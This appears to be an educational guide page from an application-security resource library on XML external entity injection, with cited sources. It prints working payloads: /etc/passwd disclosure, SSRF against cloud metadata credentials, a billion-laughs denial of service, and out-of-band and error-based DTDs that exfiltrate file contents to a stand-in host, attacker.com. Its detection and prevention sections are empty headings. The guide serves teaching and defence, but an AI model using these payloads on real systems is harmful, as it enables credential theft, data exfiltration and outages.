appsec.fyi

XXE — A Practical Guide

A curated AppSec resource library covering XSS, SQLi, SSRF, IDOR, RCE, XXE, OSINT, and more.

XXE: A Practical Guide

Curated and synthesized by . Last updated 2026-08-01. Synthesized from 85 of 85 curated resources. Browse all 85 XXE resources →

The Ubiquitous Threat of XML External Entity Injection

XML External Entity (XXE) injection remains a persistent and potent vulnerability class, even in modern application security landscapes. Its ability to leverage standard XML parsing features for malicious ends – ranging from sensitive data exfiltration to server-side request forgery (SSRF) and even remote code execution (RCE) – makes it a critical concern for any practitioner working with XML-based data processing. This guide aims to provide a deep dive into XXE for experienced application security professionals, covering its core mechanics, common exploitation vectors, detection strategies, and mitigation techniques.

Core Mechanics: The Power and Peril of Entities

At its heart, XXE exploits the XML specification's concept of entities, which act as variables or shortcuts within XML documents. Specifically, external entities allow an XML parser to dereference a Uniform Resource Identifier (URI) and include its content within the XML document being processed. When an application parses untrusted XML without properly configuring its parser, an attacker can inject malicious external entity declarations to access resources that should be off-limits.

A fundamental component in defining these external entities is the Document Type Definition (DTD). A DTD can be embedded directly within an XML document (internal DTD) or referenced from an external file (external DTD). The typical structure for an XXE payload involves a <!DOCTYPE> declaration that defines an external entity, often using the SYSTEM keyword to specify a URI. This URI can point to local files (e.g., file:///etc/passwd) or remote resources. When the XML parser encounters an entity reference (e.g., &xxe;) within the XML data, it substitutes the referenced content.

The OWASP Top 10 consistently flags XXE, highlighting the inherent risk when XML parsers are not secured by default [1]. The problem often stems from insecure default configurations in XML parsing libraries across various programming languages, where features like DTD processing and external entity resolution are enabled by default [2][3].

Notable Techniques and Attack Vectors

XXE vulnerabilities manifest in several distinct, yet often overlapping, attack patterns. Understanding these variations is crucial for effective testing and exploitation:

1. In-band (File Disclosure) XXE

This is the most straightforward type of XXE attack. The attacker crafts an XML payload that includes an external entity referencing a local file. If the application reflects the parsed XML content back in its response, the contents of the referenced file are directly exfiltrated.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>

Upon successful exploitation, the response might contain output similar to:

Invalid productId: root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

This technique is highly effective when the application directly echoes user-supplied XML or its parsed content.

2. Server-Side Request Forgery (SSRF) via XXE

XXE can be leveraged to force the server to make HTTP requests to arbitrary URLs. This is invaluable for internal network reconnaissance, probing internal services, or accessing cloud metadata endpoints (e.g., AWS EC2 instance metadata).

A typical SSRF payload might look like:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <foo>&ssrf;</foo>

The server would attempt to fetch the specified URL, potentially revealing sensitive information like cloud credentials if the application reflects the response [4][3].

3. Blind XXE

Blind XXE occurs when the application is vulnerable to XXE but does not return the entity's content directly in the response. This necessitates out-of-band (OOB) interaction techniques for detection and data exfiltration.

3.1. Out-of-Band (OOB) XXE

This is the most common blind XXE technique. The attacker crafts a payload that causes the vulnerable server to make an HTTP or DNS request to an attacker-controlled server. By monitoring these external requests, the attacker can confirm the vulnerability and exfiltrate data.

A common OOB payload involves defining an external DTD:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <foo>&send;</foo>

The evil.dtd file would contain the logic to exfiltrate the data:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">

%all;

When the server processes this, it fetches the DTD, reads /etc/passwd, and sends the content to attacker.com via an HTTP request [5][6][7][8].

3.2. Error-Based Blind XXE

If OOB interactions are blocked, attackers can attempt to trigger XML parsing errors that contain sensitive data. This relies on the application reflecting error messages back to the client.

A malicious DTD for error-based exfiltration:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;

If the server tries to access a nonexistent file with the contents of /etc/passwd in its path, the resulting error message might reveal the file's content [8][9].

4. Denial of Service (DoS) / Billion Laughs Attack

This classic XXE attack exploits recursive entity expansion to consume excessive memory, potentially crashing the XML parser or the entire application.

<!DOCTYPE lolz [

<!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz>

While often mitigated in modern parsers, it remains a theoretical vector for resource exhaustion [10][11][12].

5. Exploitation via File Uploads

Many file formats, including Office Open XML (.docx, .xlsx, .pptx), Scalable Vector Graphics (.svg), and even plain XML files, are used as carriers for XXE payloads. These formats are often ZIP archives containing XML files that can be modified.

For instance, an .xlsx file is a ZIP archive containing XML files. By unzipping, modifying xl/worksheets/sheet1.xml or xl/workbook.xml with an XXE payload, and then re-zipping, attackers can exploit applications that process these files [13][14][2][15][16][17]. The tool XXElixir automates this process by poisoning XLSX files [18]. Similarly, malicious SVG files can embed XXE payloads [10][12].

6. Leveraging Specific Protocols and Wrappers

Beyond the standard file:// and http:// protocols, certain XML parsers and environments support other URI schemes that can be abused:

Detection and Prevention

Effective defense against XXE involves a layered approach focusing on secure parsing configurations and input validation.

Detection Strategies

Prevention Techniques

The most robust prevention methods involve disabling dangerous XML parser features:

Tooling for XXE Analysis

A variety of tools can aid in identifying and exploiting XXE vulnerabilities:

Recent Developments and Trends

XXE continues to be a prevalent vulnerability, with new instances discovered regularly across various software categories.

Where to Go Deeper

For those seeking to expand their knowledge of XXE vulnerabilities, the following resources are highly recommended:

Sources cited in this guide

  1. XML External Entity (XXE) Processing | OWASP — owasp.org
  2. XML External Entity: The Ultimate Bug Bounty Guide to XXE | YesWeHack — yeswehack.com
  3. https://portswigger.net/web-security/xxe — portswigger.net
  4. Exploiting XXE for SSRF. Retrieving IAM credentials of EC2… | by Gupta Bles — medium.com
  5. Out-of-Band XML External Entity (OOB XXE) — invicti.com
  6. Exploiting Blind XXE: Data Exfiltration Through External DTD — medium.com
  7. Blind XXE: Exfiltrating Data Out-of-Band in 2025 — instatunnel.my
  8. What is a Blind XXE Attack? | PortSwigger — portswigger.net
  9. From blind XXE to root-level file read access – Honoki — honoki.net
  10. XXE Vulnerability Guide 2025: How XML Attacks Still Threaten — instatunnel.my
  11. XXE Complete Guide: Impact, Examples, and Prevention — hackerone.com
  12. XML External Entity (XXE) Attack Guide | Hackviser — hackviser.com
  13. The File That Answered Back — XXE Hidden in Cell A2 — infosecwriteups.com
  14. Exploiting XXE via File Uploads (SVG, XLSX, DOCX) — exploit-db.com
  15. 10 Types of Web Vulnerabilities that are Often Missed - Detectify Labs — labs.detectify.com
  16. GitHub - whitel1st/docem: A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids) — github.com
  17. BuffaloWill/oxml_xxe: A tool for embedding XXE/XML exploits into different — github.com
  18. XXElixir: Tool for Testing XXE via XLSX File Upload Poisoning — github.com
  19. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  20. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  21. Comprehensive Guide to XXE Exploitation: Advanced Data Exfiltration and RCE — nullsecurityx.codes
  22. h3xStream's blog: Identifying Xml eXternal Entity vulnerability (XXE) — blog.h3xstream.com
  23. XXE - Things Are Getting Out of Band — blog.zsec.uk
  24. XML External Entity Prevention · OWASP Cheat Sheet Series — cheatsheetseries.owasp.org
  25. XML External Entity - GeeksforGeeks — geeksforgeeks.org
  26. Blind XXE Attacks: Out of Band Interaction Techniques to Exfiltrate Data — shreyapohekar.com
  27. Blind XXE Lab: Exfiltrate Data Using Malicious External DTD — portswigger.net
  28. https://www.hackingarticles.in/burp-suite-for-pentester-hackbar/ — hackingarticles.in
  29. Tool for automatic exploitation of XXE vulnerability using direct and diffe — github.com
  30. XXExploiter — github.com
  31. https://www.hahwul.com/2019/09/28/oxml-xxe-payload-inject-tool-docem/ — hahwul.com
  32. If you find powerful OXML XXE tool? it’s “DOCEM” — hahwul.com
  33. XXE-OOB-Exfiltrator: Multi-line Content Exfiltration via External DTD — github.com
  34. XXE - Things Are Getting Out of Band — blog.zsec.uk
  35. https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html — noob.ninja
  36. XXE Injection: Advanced Exploitation Guide — intigriti.com
  37. XXE - XEE - XML External Entity - HackTricks — book.hacktricks.xyz
  38. Rapid7 Analysis: CVE-2022-28219 — rapid7.com
  39. CVE-2025-30220: GeoServer WFS Service XML External Entity — miggo.io
  40. XXE in GeoServer WFS Service (CVE-2025-30220) — kudelskisecurity.com
  41. Critical Apache Tika Vulnerability Leads to XXE Injection — securityweek.com
  42. CVE-2025-66516: Detecting and Defending Against Apache Tika XXE — akamai.com
  43. Critical Apache Tika CVE-2025-66516: XXE Vulnerability — rescana.com
  44. CVE-2025-49493: XXE in Akamai CloudTest — xbow.com
  45. IBM Business Automation Workflow XXE (CVE-2025-13096) — ibm.com
  46. PortSwigger Blind XXE Lab Write-up — halleffect.medium.com
  47. How to Find XXE Bugs: Severe, Missed, and Misunderstood — bugcrowd.com
  48. Top 25 XXE Bug Bounty Reports — corneacristian.medium.com
  49. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
  50. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
  51. CVE-2024-30043: Exploiting XXE on SharePoint via Confused URL Parsing (PoC) — github.com
📚 This guide is synthesized from the full text of resources curated in the XXE library, and refreshed as new material is added.